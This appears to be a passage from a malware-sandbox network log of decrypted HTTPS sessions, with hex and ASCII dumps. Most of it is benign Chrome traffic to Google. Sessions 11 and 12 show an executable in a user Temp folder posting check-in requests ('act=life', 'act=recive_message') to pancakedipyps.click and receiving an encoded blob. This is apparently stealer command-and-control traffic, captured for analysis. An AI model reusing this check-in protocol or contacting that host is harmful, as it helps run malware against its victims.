2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-19 06:57:10 UTC	1332	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-19 06:57:10 UTC	303	IN	Data Raw: 31 32 38 0d 0a 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 31 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 Data Ascii: 128","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700291,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapp
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 Data Ascii: 8000ction(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addE
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 49 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 46 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4b 64 5c 75 30 30 33 64 5b 47 64 28 5c 22 64 61 74 61 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 47 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 47 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 Data Ascii: class{constructor(a){this.i\u003da}toString(){return this.i}};_.Jd\u003dnew _.Id(\"about:invalid#zClosurez\");_.Fd\u003dclass{constructor(a){this.nh\u003da}};_.Kd\u003d[Gd(\"data\"),Gd(\"http\"),Gd(\"https\"),Gd(\"mailto\"),Gd(\"ftp\"),new _.Fd(a\u003d\u0
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 Data Ascii: t){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.$d\u003dfunction(a){var b\u003d_.Ma(a);return b\u003
2024-12-19 06:57:10 UTC	1390	IN	Data Raw: 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6a 65 5b 64 5d 2c 63 29 3a 5f 2e 65 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 65 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6a 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 Data Ascii: xt\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:je.hasOwnProperty(d)?a.setAttribute(je[d],c):_.ee(d,\"aria-\")\|\|_.ee(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};je\u003d{cellpadding:\"cellPadding\",cellspacing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	172.217.19.228	443	6652	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:57:09 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 06:57:10 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 19 Dec 2024 06:57:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 06:57:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-19 06:57:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49909	172.67.209.202	443	2176	C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:58:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-19 06:58:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 06:58:19 UTC	1124	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:58:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ko3e0iruiihfru0htr4oab50in; expires=Mon, 14 Apr 2025 00:44:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2Bm%2Bsk24Qc6EGlXmeGhbkYEg2cjY4OGgZHRvQiBhNQ0xQryPUFW6QBBbS6AUNKHN6STMxHEg6CzMFlQ3yB9fWhjgxLokEEhCBLk1WWbtbj8MgkW6BY8IrQFSrnBzjwLdPgFahCCF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4580e0c89b189d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1607&rtt_var=612&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1772920&cwnd=190&unsent_bytes=0&cid=3ca69970de6a338e&ts=1091&x=0"
2024-12-19 06:58:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 06:58:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49916	172.67.209.202	443	2176	C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:58:20 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-19 06:58:20 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-19 06:58:21 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oksgahck5435uq228cl0ut7tso; expires=Mon, 14 Apr 2025 00:44:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BIoKbekmWAMGKvcKbVv8dp02FzVrcYgi5u3NgK%2B63Giq6tiLNCY4Wz4xhGNomh8IsAOibj8b6OSX%2F34AFIg5rflJSIXNTdslR2xiy6GuG%2FVbe%2BivxtFfA%2FYKeCzz3T55kd%2BxRARl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4580ef2ae6c46b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1504&min_rtt=1503&rtt_var=566&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=949&delivery_rate=1928665&cwnd=223&unsent_bytes=0&cid=cee0bce07a3cf0da&ts=818&x=0"
2024-12-19 06:58:21 UTC	238	IN	Data Raw: 31 63 62 63 0d 0a 41 58 69 31 5a 69 64 73 6b 51 6c 69 75 4e 6a 48 65 78 32 55 6d 49 32 64 77 4e 6b 41 79 70 76 79 42 30 63 57 4e 2f 62 78 52 6e 39 36 57 73 4e 45 48 56 69 39 4b 78 48 64 2b 76 30 50 62 2b 48 39 6f 62 2b 68 76 53 4c 77 2f 5a 4e 72 4e 48 4d 62 31 49 63 72 58 54 73 65 31 41 70 55 43 62 30 72 42 38 44 36 2f 53 42 6d 74 76 33 6a 76 2f 72 37 5a 61 44 35 6b 32 73 6c 64 31 79 5a 67 53 6f 63 61 52 54 53 44 6b 49 50 39 57 67 4f 31 62 32 69 48 6e 7a 2b 39 75 54 77 71 4c 51 69 35 72 6d 58 66 57 55 73 46 62 75 55 4d 68 35 4d 47 63 59 4e 42 52 47 39 63 6b 44 64 74 75 56 42 50 2f 58 39 37 2f 47 6d 76 57 75 69 38 35 70 6a 4a 48 4a 64 68 70 67 67 46 32 6b 61 30 51 39 49 42 75 46 6c 42 4e 4b 32 70 42 52 38 Data Ascii: 1cbcAXi1ZidskQliuNjHex2UmI2dwNkAypvyB0cWN/bxRn96WsNEHVi9KxHd+v0Pb+H9ob+hvSLw/ZNrNHMb1IcrXTse1ApUCb0rB8D6/SBmtv3jv/r7ZaD5k2sld1yZgSocaRTSDkIP9WgO1b2iHnz+9uTwqLQi5rmXfWUsFbuUMh5MGcYNBRG9ckDdtuVBP/X97/GmvWui85pjJHJdhpggF2ka0Q9IBuFlBNK2pBR8
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 74 72 53 76 2b 4c 72 37 4f 75 69 71 6f 6d 59 30 5a 55 43 5a 67 79 4a 64 66 46 54 4f 52 45 49 43 73 7a 4e 41 30 72 61 72 48 48 7a 35 2f 65 37 2f 73 4c 52 69 71 2f 47 59 59 53 39 37 57 70 75 64 4c 68 70 72 45 39 41 4c 51 67 62 31 5a 41 4f 61 39 4f 55 65 5a 37 61 69 72 39 2b 79 75 47 47 38 39 49 45 6c 4f 6a 70 4d 31 4a 51 6f 58 54 74 61 30 51 70 45 41 2f 4e 35 43 4e 47 78 6f 41 74 30 2f 2f 66 69 2f 36 2b 78 62 61 76 35 6c 32 38 76 65 31 2b 51 6e 69 6b 62 59 78 71 58 53 67 55 4a 36 79 74 59 6d 70 6d 67 43 58 6a 36 37 4b 33 46 34 71 51 73 73 62 6d 58 61 57 55 73 46 5a 79 57 4a 78 35 6f 46 64 51 4d 54 68 7a 7a 65 51 62 58 76 37 63 66 65 76 6a 77 37 4f 32 6f 74 57 53 72 38 4a 74 73 49 48 4e 52 31 4e 31 6b 47 6e 74 61 6a 30 52 6b 41 2f 68 6e 43 73 32 36 35 51 59 Data Ascii: trSv+Lr7OuiqomY0ZUCZgyJdfFTOREICszNA0rarHHz5/e7/sLRiq/GYYS97WpudLhprE9ALQgb1ZAOa9OUeZ7air9+yuGG89IElOjpM1JQoXTta0QpEA/N5CNGxoAt0//fi/6+xbav5l28ve1+QnikbYxqXSgUJ6ytYmpmgCXj67K3F4qQssbmXaWUsFZyWJx5oFdQMThzzeQbXv7cfevjw7O2otWSr8JtsIHNR1N1kGntaj0RkA/hnCs265QY
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 2b 32 75 73 57 53 6e 39 4a 77 6c 61 7a 52 53 6a 4e 4e 38 58 55 6b 5a 77 77 64 50 54 4d 5a 6f 44 74 53 39 73 31 6c 67 75 4f 4f 76 2b 4b 37 37 4f 75 6a 30 6b 57 30 6a 5a 6c 71 5a 6b 43 6f 54 62 42 2f 59 44 45 55 4f 2f 6d 34 45 30 62 47 6d 46 48 76 6b 38 4f 2f 33 70 37 70 6f 6f 72 6e 65 4a 53 4a 73 46 63 7a 54 46 51 70 6f 57 4f 49 48 53 77 44 30 66 55 44 46 39 4c 78 5a 65 50 71 36 74 37 2b 76 73 32 65 74 39 70 46 76 4b 33 46 66 6d 4a 73 71 48 6e 45 56 30 77 52 4a 42 76 6c 6d 44 74 36 79 72 42 4a 30 38 50 72 75 39 65 4c 31 49 71 2f 68 30 44 31 6c 51 46 4b 59 6e 69 74 66 56 68 6e 5a 43 6b 49 59 73 33 52 4f 77 2f 71 69 46 54 2b 75 75 75 50 32 6f 72 42 6f 72 50 6d 58 61 43 42 33 55 70 65 65 49 78 64 74 48 64 4d 49 54 41 50 31 61 77 66 65 76 37 63 63 64 76 72 32 Data Ascii: +2usWSn9JwlazRSjNN8XUkZwwdPTMZoDtS9s1lguOOv+K77Ouj0kW0jZlqZkCoTbB/YDEUO/m4E0bGmFHvk8O/3p7poorneJSJsFczTFQpoWOIHSwD0fUDF9LxZePq6t7+vs2et9pFvK3FfmJsqHnEV0wRJBvlmDt6yrBJ08Pru9eL1Iq/h0D1lQFKYnitfVhnZCkIYs3ROw/qiFT+uuuP2orBorPmXaCB3UpeeIxdtHdMITAP1awfev7ccdvr2
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 30 69 74 37 65 4a 4a 53 4a 34 46 63 7a 54 4c 52 52 78 46 4e 6b 4e 53 41 6a 37 62 41 37 58 73 61 4d 53 65 50 48 38 34 76 65 76 76 6d 47 70 2f 5a 70 33 4a 6e 39 66 6d 5a 6c 6b 55 79 4d 64 7a 30 51 64 54 74 52 6e 4b 63 71 68 74 77 38 2f 36 62 54 32 76 36 57 33 49 76 43 35 6b 32 6f 73 65 31 32 63 6e 43 73 5a 62 52 7a 52 43 55 41 42 2b 58 6b 49 31 4c 65 75 46 6e 54 6b 2b 75 4c 37 72 72 39 71 6f 2f 50 51 4b 32 56 7a 54 64 54 4c 5a 43 68 75 46 64 63 48 55 30 37 73 4a 52 6d 61 76 61 6c 5a 4a 37 62 32 34 66 2b 74 74 32 36 6a 38 5a 46 70 4b 33 4e 51 6e 5a 73 73 44 32 49 65 33 77 56 4c 41 66 4a 76 42 64 2b 2b 6f 68 31 35 2b 62 71 68 76 36 57 6a 49 76 43 35 76 30 49 51 4e 6e 53 75 30 7a 74 54 65 6c 72 51 43 41 56 57 73 32 63 44 31 72 4b 71 48 33 62 36 38 4f 62 30 72 Data Ascii: 0it7eJJSJ4FczTLRRxFNkNSAj7bA7XsaMSePH84vevvmGp/Zp3Jn9fmZlkUyMdz0QdTtRnKcqhtw8/6bT2v6W3IvC5k2ose12cnCsZbRzRCUAB+XkI1LeuFnTk+uL7rr9qo/PQK2VzTdTLZChuFdcHU07sJRmavalZJ7b24f+tt26j8ZFpK3NQnZssD2Ie3wVLAfJvBd++oh15+bqhv6WjIvC5v0IQNnSu0ztTelrQCAVWs2cD1rKqH3b68Ob0r
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 36 6c 47 41 71 64 56 53 53 67 53 4d 55 63 52 54 61 43 30 30 47 2b 6d 6f 45 33 37 65 6a 46 58 58 33 2f 65 48 78 71 76 73 73 36 50 36 49 4a 58 30 30 64 49 53 49 4e 67 74 75 4f 39 6f 4c 42 52 47 39 63 6b 44 64 74 75 56 42 50 2f 2f 6f 36 2f 4b 77 73 6d 57 6d 39 70 4e 33 4a 48 6c 65 68 70 51 72 47 57 51 57 30 51 74 44 44 2f 5a 68 44 4e 32 2f 72 68 5a 7a 74 72 53 76 2b 4c 72 37 4f 75 6a 58 6d 33 59 79 64 31 75 66 68 54 39 64 66 46 54 4f 52 45 49 43 73 7a 4e 41 32 62 47 75 48 58 2f 36 2b 75 76 79 6f 71 6c 74 72 2f 36 5a 62 6a 64 2b 55 70 4f 59 4c 42 5a 73 48 4d 55 49 53 78 7a 32 65 52 4b 61 39 4f 55 65 5a 37 61 69 72 38 6d 6c 71 33 4b 72 75 36 46 7a 4a 6d 4a 65 6d 5a 39 6b 41 69 30 44 6c 77 4e 4a 54 71 73 72 42 74 57 7a 70 68 5a 2b 2f 2f 62 69 2b 71 75 2b 59 36 Data Ascii: 6lGAqdVSSgSMUcRTaC00G+moE37ejFXX3/eHxqvss6P6IJX00dISINgtuO9oLBRG9ckDdtuVBP//o6/KwsmWm9pN3JHlehpQrGWQW0QtDD/ZhDN2/rhZztrSv+Lr7OujXm3Yyd1ufhT9dfFTOREICszNA2bGuHX/6+uvyoqltr/6Zbjd+UpOYLBZsHMUISxz2eRKa9OUeZ7air8mlq3Kru6FzJmJemZ9kAi0DlwNJTqsrBtWzphZ+//bi+qu+Y6
